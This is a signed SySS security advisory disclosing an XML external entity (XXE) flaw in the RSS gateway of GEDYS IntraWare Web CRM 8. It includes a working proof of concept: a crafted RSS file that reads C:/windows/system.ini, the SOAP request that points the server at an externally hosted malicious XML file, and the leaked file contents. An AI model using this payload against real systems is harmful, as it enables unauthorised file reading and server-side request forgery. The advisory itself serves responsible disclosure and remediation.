-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2026-023
Product:                   GEDYS IntraWare Web CRM
Manufacturer:              Gedys Intraware GmbH
Affected Version(s):       8
Tested Version(s):         8
Vulnerability Type:        Improper Restriction of XML External Entity Reference  (CWE-611)
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2026-04-07
Solution Date:             2026-04-24
Public Disclosure:         2026-07-09
CVE Reference:             -
Author of Advisory:        Mathias Wagner, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

GEDYS IntraWare Web CRM is a web-based customer relationship management (CRM) 
application.

The manufacturer describes the product as follows (see [1]):

"Gedys CRM provides a 360° view of all your customers' data, even in your 
mailbox. In an end-to-end sales management process, you can easily turn 
strategic goals into operational goals."

Due to an insecure implementation of the RSS functionality, the application
is vulnerable to server-side request forgery (SSRF) and local file inclusion
(LFI).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The login page of the web application displays news from RSS feeds.
Arbitrary URLs to RSS feeds can be passed to the server, which loads and
interprets the corresponding XML files. The following path is affected:
/CRM/webint.nsf/RssGateway?WSDL

The XML parser, which loads the RSS XML file, is vulnerable to XML external
entity (XXE) injection.

An attacker can craft a malicious XML file that contains a reference to
external resources or files on the local file system. The server loads
and interprets this XML file and includes the contents of the resource in
the server response.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following XML file was used for local file inclusion. As the function
expects an RSS feed, it must adhere to the RSS specification:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/windows/system.ini"> ]>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
[...]
<image>
<title>TITLE</title>
<link>https://example.com/</link>
<url>https://example.com/x.png</url>
</image>
<atom:link href="https://example.com/index.rss" rel="self" type="application/rss+xml"/>
<item>
<title>XXXXXX &xxe;</title>
[...]
</item>
</channel>
</rss>

This file was hosted on a web server and passed to the vulnerable function
with the following request:

POST /CRM/webint.nsf/RssGateway?WSDL HTTP/2
Content-Length: 280
Content-Type: application/x-www-form-urlencoded
[...]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DefaultNamespace">
  <soapenv:Header/>
  <soapenv:Body>
    <urn:getURL>
      <urn:urlLocation>https://example.com/malicious.xml</urn:urlLocation>
    </urn:getURL>
  </soapenv:Body>
</soapenv:Envelope>

The server responds with the contents of C:/windows/system.ini:

HTTP/2 200 OK
Content-Type: text/xml; charset=utf-8
[...]

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
[...]
<title>XXXXXX ; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
</title>
[...]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The settings of the XML parser should be changed so that neither external nor
local resources are loaded. Additionally, the endpoint
/CRM/webint.nsf/RssGateway?WSDL should not load arbitrary external RSS
feeds.

More information about preventing XXE vulnerabilities can be found in the
OWASP Cheat Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Gedys provides a patched version of the CRM software, which should be
installed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2026-01-22: Vulnerability discovered
2026-04-07: Vulnerability reported to manufacturer
2026-04-24: Manufacturer responds that the vulnerability is known and a patch
            is being rolled out
2026-05-27: Manufacturer responds that the patch rollout is complete
2026-07-09: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Gedys CRM
    https://web.archive.org/web/20260311160630/https://gedys.com/en/products/crm-software
[2] SySS Security Advisory SYSS-2026-023
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-023.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Mathias Wagner of SySS
GmbH.

E-Mail: mathias.wagner@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Mathias_Wagner.asc
Key ID: 0xB3031FDCF86F9948
Key Fingerprint: 8391 7A2D B0EF 9C72 F01B  9E7E B303 1FDC F86F 9948

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEg5F6LbDvnHLwG55+swMf3PhvmUgFAmpNFZcACgkQswMf3Phv
mUgPtA/8DAZ2KTNeJqdwOrY0A5C2VRF8h69HEsB8WzOe6T06cSfEC+Remdpv1kUI
/QP5gJVGroLWpcLesMX7D/mMjguCKMWp7/bS/BsrgcE7J5t5KvYn1PS/CBzAYMx0
79rUOFZ7OmXV3Ifbqktt8XDenieo1Kn3l5dToDHqr8TIM4bdAz/nqMujqDEJ3jpK
BYrykhXYpUoj1U9Kz6mcKoUvYTyusRt+FJ8U0zlynsnKJLDfTi2+P1PFXwCWUmWn
RosLNPO9ZvnTrkKYYWnOGIm6atij/Qggqqg/CC6Pt0gjapsrXq22yJ1yQTUosDKN
2IJPXJOmZS3GLr1xDQ6HLCY3qhqYmMgdC9OdAd4RP2o9Z37uZTqFYUH97DSuR1JY
y9n823pNiktCONFWfxbB1ifBibWNH3vmJW30Zz/OxXGegJpf7OctxFRPo4wWDFq5
HiPJB1JC4ipWiRsMdbf0WNUeoKXgByGFbMQla1hb/P91sKIYeRuM0yKIGzCYsS7c
czLPPg1p8kaAtgEwLcAXHOISOq6q+CYohb0coPVvG8f4zzHQqcK3dOliCCgtEOWi
2i5B72urI62+7UcZ8vl1tLj3RTQMn/L/1sXtOS/2ie+c83LQCB2wkJB1owmCjHqe
N0x5nPDuiPhG8zxwFwJW0wl/Y6OewenP2ZWWvqciwWeIcFpGgGw=
=LCmw
-----END PGP SIGNATURE-----